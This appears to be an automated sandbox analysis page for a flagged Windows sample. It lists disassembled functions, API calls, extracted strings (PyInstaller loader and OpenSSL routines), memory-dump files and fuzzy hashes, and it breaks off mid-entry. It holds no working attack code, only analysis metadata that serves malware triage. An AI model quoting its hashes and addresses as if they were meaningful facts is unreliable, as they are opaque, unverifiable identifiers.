Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: OiII$Unknown Bluetooth protocol$iy#
API String ID: 0-1931379703
Opcode ID: 4d8043ebe678415ea9796c3876c5d0c2d5509b23804c6fd0dd0e404e45f50446
Instruction ID: 4b616d8dc232391423a6323ce48258e5a5db708c8c513443d21b12d443bce78d
Opcode Fuzzy Hash: 4d8043ebe678415ea9796c3876c5d0c2d5509b23804c6fd0dd0e404e45f50446
Instruction Fuzzy Hash: 25517235A0CA4392EB148BA5E69437D63A1FF65BD0F464131DA5E83BD4EF2CE484C30A

Function 00007FF7EAD02180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7EAD021AB
SelectObject.GDI32 ref: 00007FF7EAD021F2
DrawTextW.USER32 ref: 00007FF7EAD02215
SelectObject.GDI32 ref: 00007FF7EAD0222B
ReleaseDC.USER32 ref: 00007FF7EAD0223B
MoveWindow.USER32 ref: 00007FF7EAD0228B
MoveWindow.USER32 ref: 00007FF7EAD022CB
MoveWindow.USER32 ref: 00007FF7EAD0231E
MoveWindow.USER32 ref: 00007FF7EAD02366

Strings

P%, xrefs: 00007FF7EAD021FF

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: a8012bd7a016f766f73a3bb871c3bde1a5f8a6b3d9f8da6d8397509c6ea95a9f
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: F651E536604BA186E734DF26E4582BAB7A1F798B65F004132EBDE43698DF7CD045DB20

Function 00007FF7EAD080C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF7EAD080FF
GetWindowLongPtrW.USER32 ref: 00007FF7EAD0817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF7EAD08192
GetLastError.KERNEL32 ref: 00007FF7EAD0819C
SetWindowLongPtrW.USER32 ref: 00007FF7EAD081B3

Strings

Needs to remove its temporary files., xrefs: 00007FF7EAD08185

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 08d2f0078a2418339bae3794c8e6a015887efc3b0f7d055a356ea95435a0c623
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 7C219431B08A4281F741EB7AA884379A365EF98B94F984272DA2D4339CDE7CD5518333

Function 00007FF8E8132A10 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8E8132A38
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8E8132A8A
_RTC_Initialize.LIBCMT ref: 00007FF8E8132AB8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8E8132ADE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8E8132B09

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: d50f978ffc6665eb39f9add3952e07e3b3ad5350cb73a1dc24da42246009ca06
Instruction ID: 0145e576b2224939fc0cebc366015baae4851e1847118c83344271c10dbd7b4d
Opcode Fuzzy Hash: d50f978ffc6665eb39f9add3952e07e3b3ad5350cb73a1dc24da42246009ca06
Instruction Fuzzy Hash: 9C81D421E0C6438AFA64BBE5A4813BD66A0AF45BC2F568035D90D477A6DF3CE845C30F

Function 00007FF8E80F2C10 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8E80F2C38
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8E80F2C8A
_RTC_Initialize.LIBCMT ref: 00007FF8E80F2CB8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8E80F2CDE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8E80F2D09

Memory Dump Source

Source File: 00000002.00000002.1495132572.00007FF8E80F1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FF8E80F0000, based on PE: true

Associated: 00000002.00000002.1494989941.00007FF8E80F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E80FE000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E8111000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811A000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811E000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495565226.00007FF8E8121000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495640960.00007FF8E8123000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80f0000_SecuriteInfo.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 1a8d1f532519298a9da786a4129d135a06aa4afe88969801cf82f3079a6a7588
Instruction ID: 73e33365287b8dcfb7dbab4ece3cfc7ace97f0e1942f2d80710a79d2b77c3ae5
Opcode Fuzzy Hash: 1a8d1f532519298a9da786a4129d135a06aa4afe88969801cf82f3079a6a7588
Instruction Fuzzy Hash: C081CC21E0C6438EFE60ABE594413BD6691AF867C0F55C435EA1D473E6DF3CE845870A

Function 00007FF8E7962940 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8E7962968
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8E79629BA
_RTC_Initialize.LIBCMT ref: 00007FF8E79629E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8E7962A0E
__scrt_release_startup_lock.LIBCMT ref: 00007FF8E7962A39

Memory Dump Source

Source File: 00000002.00000002.1488870171.00007FF8E7961000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FF8E7960000, based on PE: true

Associated: 00000002.00000002.1488485527.00007FF8E7960000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E79AA000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E79B8000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A07000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A0C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A0F000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1489614277.00007FF8E7A10000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1489734191.00007FF8E7A12000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7960000_SecuriteInfo.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: bfa090c531bac24e46e178867b034455b2b04e74abd31691ae896f8f055f72f8
Instruction ID: fc1ca21bf046af5e42599f36fadebb22c15b1807ca8cdf255dc1ebc5aec1ed3c
Opcode Fuzzy Hash: bfa090c531bac24e46e178867b034455b2b04e74abd31691ae896f8f055f72f8
Instruction Fuzzy Hash: B1818961E0824386FA64BBE5D44A3BD6691AF867C0F5487B5E93C873D6DE3CE8458302

Function 00007FF8E80D3A80 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8E80D3AA8
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8E80D3AFA
_RTC_Initialize.LIBCMT ref: 00007FF8E80D3B28
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8E80D3B4E
__scrt_release_startup_lock.LIBCMT ref: 00007FF8E80D3B79

Memory Dump Source

Source File: 00000002.00000002.1493380127.00007FF8E80D1000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FF8E80D0000, based on PE: true

Associated: 00000002.00000002.1493237876.00007FF8E80D0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80DD000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80E0000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494657271.00007FF8E80E1000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494938031.00007FF8E80E3000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80d0000_SecuriteInfo.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 6519944f3013d940d19d1b81a08512331dda30c88b389df6dfaebd19558cce86
Instruction ID: 0032aa3c8e00bc03ccd2249ab17f4cc8bc8efd210ab0b8d105418ffeb466f37f
Opcode Fuzzy Hash: 6519944f3013d940d19d1b81a08512331dda30c88b389df6dfaebd19558cce86
Instruction Fuzzy Hash: 4B817D21E08A438BFE50ABE5A54137D6690AF857D4F558035EA4D473E6EF3CE8058F0B

Function 00007FF7EAD16290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD162D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD166C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1695C

Strings

p, xrefs: 00007FF7EAD163FD
:, xrefs: 00007FF7EAD1648C
-, xrefs: 00007FF7EAD16369
p, xrefs: 00007FF7EAD16385
f, xrefs: 00007FF7EAD163F5

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: de9c408c801e32101772736e53160e0a1d31566744e1e5ec98a3828aaa881f07
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 46126562E0C24386FB24FA24D1547B9B7A2FB60750FC441F7D699866CEDB3CE5408B22

Function 00007FF7EAD10FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD11008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD113D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1166F

Strings

p, xrefs: 00007FF7EAD110AD
f, xrefs: 00007FF7EAD11255
f, xrefs: 00007FF7EAD110A0
f, xrefs: 00007FF7EAD1110A
p, xrefs: 00007FF7EAD11112

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 2653f5c1d6cf5271562f7af52eaaaad06ad4b670c26ad9377011de4cd82377d0
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: BC127361E0C54386FB24EA24A054379F7A5FB60754FC4417BF69A46ACCDB7CED808B22

Function 00007FF7EAD01050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7EAD010CC
fread, xrefs: 00007FF7EAD011FD
fseek, xrefs: 00007FF7EAD010D3
malloc, xrefs: 00007FF7EAD0110F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7EAD01108
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7EAD01098
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7EAD011F6

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: fe3ce30ccacf8a50be5b66d9247a717e39d867eba63eb2cc5dedf88405610c38
Instruction ID: c179b02e8ab817fdc8e10f860ac16882aa3e4fbaf717dbd76427642e37a46e0b
Opcode Fuzzy Hash: fe3ce30ccacf8a50be5b66d9247a717e39d867eba63eb2cc5dedf88405610c38
Instruction Fuzzy Hash: FB418E61A0865282FA04FB51A8407B9E396FF54B88FC444B3ED4C4778ADE3CE545C362

Function 00007FF7EAD08660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF7EAD03CBB), ref: 00007FF7EAD08704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF7EAD03CBB), ref: 00007FF7EAD0870A
CreateDirectoryW.KERNEL32(?,00000000,00007FF7EAD03CBB), ref: 00007FF7EAD0874C

Part of subcall function 00007FF7EAD08830: GetEnvironmentVariableW.KERNEL32(00007FF7EAD0388E), ref: 00007FF7EAD08867
Part of subcall function 00007FF7EAD08830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7EAD08889

Part of subcall function 00007FF7EAD18238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD18251

Part of subcall function 00007FF7EAD02810: MessageBoxW.USER32 ref: 00007FF7EAD028EA

Strings

TMP, xrefs: 00007FF7EAD086C2
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7EAD0877E
_MEI%d, xrefs: 00007FF7EAD08712
LOADER: failed to set the TMP environment variable., xrefs: 00007FF7EAD086DC
TMP, xrefs: 00007FF7EAD0869C, 00007FF7EAD087A3

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction ID: 3f3a38a82d29616b10cb8db9ac92c9c84d55e9d54d752fc36843bf9f2c64cb85
Opcode Fuzzy Hash: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction Fuzzy Hash: 43419C61A1964244FA11F721A8A53FEA392EF98788FC001B3ED0D477DEDE7CE401C262

Function 00007FF8E7A37250 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 327COMMON

Download Yara Rule

APIs

00007FF906026570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7A373CA
00007FF906026570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7A375E9
00007FF906026570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7A37623

Strings

ssl_cipher_process_rulestr, xrefs: 00007FF8E7A37660, 00007FF8E7A376DD
STRENGTH, xrefs: 00007FF8E7A375DF
..\s\ssl\ssl_ciph.c, xrefs: 00007FF8E7A37667, 00007FF8E7A376E9
SECLEVEL=, xrefs: 00007FF8E7A37619

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906026570
String ID: ..\s\ssl\ssl_ciph.c$SECLEVEL=$STRENGTH$ssl_cipher_process_rulestr
API String ID: 1666080152-331183818
Opcode ID: 77200f37a822fc3e73c83f341b3da985b146b72dba8e7c2f48b7546d64b2c977
Instruction ID: 5d19bea2b8ca4e714c87887bcc9119477ddcf1a335a7bf60d55b50497938d0a7
Opcode Fuzzy Hash: 77200f37a822fc3e73c83f341b3da985b146b72dba8e7c2f48b7546d64b2c977
Instruction Fuzzy Hash: FDD1DF72B0C68256FB658F99D48277E66D0FB45BC0F144036EAAE93794DF3CE8418B02

Function 00007FF7EAD0EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7EAD0EA65

Part of subcall function 00007FF7EAD0F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7EAD0F9FF
Part of subcall function 00007FF7EAD0F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7EAD0FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7EAD0EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7EAD0ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7EAD0EE98

Strings

csm, xrefs: 00007FF7EAD0EB60
csm, xrefs: 00007FF7EAD0EAE6
csm, xrefs: 00007FF7EAD0EA7F

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 05464cc64c94789c6e6be47188418392d33ad4dfff48b3357dbd55191c3470ef
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 28D19132A087418AFB20EB25D4843ADB7A5FB54B8CF900176DE8D5779ACF38E080C752

Function 00007FF8E7A22536 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 214COMMON

Download Yara Rule

APIs

00007FF9060A3420.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF8E7A31BA1
GetLastError.KERNEL32 ref: 00007FF8E7A31D06

Strings

%s/%s, xrefs: 00007FF8E7A31B81
SSL_add_dir_cert_subjects_to_stack, xrefs: 00007FF8E7A31CEE, 00007FF8E7A31D27, 00007FF8E7A31DB3
calling OPENSSL_dir_read(%s), xrefs: 00007FF8E7A31D0F
SSL_add_file_cert_subjects_to_stack, xrefs: 00007FF8E7A31D65
..\s\ssl\ssl_cert.c, xrefs: 00007FF8E7A31CFA, 00007FF8E7A31D33, 00007FF8E7A31D71, 00007FF8E7A31DBF

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007A3420ErrorF9060Last
String ID: %s/%s$..\s\ssl\ssl_cert.c$SSL_add_dir_cert_subjects_to_stack$SSL_add_file_cert_subjects_to_stack$calling OPENSSL_dir_read(%s)
API String ID: 4113039813-502574948
Opcode ID: 4c073ab51f1f5d45694974e7a6ca66fe17bac0b484b9deae977fc5280a2839ef
Instruction ID: 90b0b325f9553e9d5336b03bb081c19c19d51cdfc7d5970b7d6aad9e7d3dfc1d
Opcode Fuzzy Hash: 4c073ab51f1f5d45694974e7a6ca66fe17bac0b484b9deae977fc5280a2839ef
Instruction Fuzzy Hash: 8C919F61B1CA8292FA55AFE1F4133BE6251EF85BC4F840035EA6E47B96DF3CE4518702

Function 00007FF7EAD1ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

